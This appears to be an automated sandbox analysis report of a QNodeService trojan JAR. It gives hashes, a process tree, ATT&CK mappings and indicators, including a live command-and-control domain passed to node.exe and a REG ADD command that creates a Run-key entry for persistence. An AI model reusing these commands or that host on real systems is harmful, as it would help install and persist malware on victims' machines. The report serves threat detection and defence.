qnodeservice | 1ee316f2b323c193684a2e41a6039448c65620cdee69f2203bf107d4ad990529

General

Target

00298844-3891378.jar
Size

89KB
MD5

5fea82b7430fa7c07350b778e18819c8
SHA1

58d29d23a5b7e4ed59635058f094d9993a8f136d
SHA256

1ee316f2b323c193684a2e41a6039448c65620cdee69f2203bf107d4ad990529
SHA512

14bdda93526123c840d855318d5fa73cd8b3ae0040a7e325f97045a69010daf9001cadf6d26b5df26836acbc4ecedfbcfa3bc34d934d5fdf5047e02982e67790

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4672	node.exe
924	node.exe
1356	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\2f29bc41-5230-4257-a17f-4d10e901437a = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab70-169.dat	js
behavioral2/files/0x000100000001ab70-172.dat	js
behavioral2/files/0x000100000001ab70-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4672	node.exe
4672	node.exe
4672	node.exe
4672	node.exe
924	node.exe
924	node.exe
924	node.exe
924	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe
1356	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 364	4684	java.exe	76
PID 4684 wrote to memory of 364	4684	java.exe	76
PID 364 wrote to memory of 4672	364	javaw.exe	80
PID 364 wrote to memory of 4672	364	javaw.exe	80
PID 4672 wrote to memory of 924	4672	node.exe	82
PID 4672 wrote to memory of 924	4672	node.exe	82
PID 924 wrote to memory of 1356	924	node.exe	83
PID 924 wrote to memory of 1356	924	node.exe	83
PID 1356 wrote to memory of 2164	1356	node.exe	85
PID 1356 wrote to memory of 2164	1356	node.exe	85
PID 2164 wrote to memory of 2052	2164	cmd.exe	86
PID 2164 wrote to memory of 2052	2164	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\00298844-3891378.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9ace6f84.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:364
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4672
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_UpmpiC\boot.js --hub-domain empefarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:924
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_UpmpiC\boot.js --hub-domain empefarm.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1356
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2f29bc41-5230-4257-a17f-4d10e901437a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2164
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2f29bc41-5230-4257-a17f-4d10e901437a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2052

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/924-173-0x00000323D78C0000-0x00000323D78C1000-memory.dmp

Filesize
4KB

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memory/1356-177-0x000003E50CD40000-0x000003E50CD41000-memory.dmp

Filesize
4KB

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memory/4672-170-0x0000035DFDAC0000-0x0000035DFDAC1000-memory.dmp

Filesize
4KB

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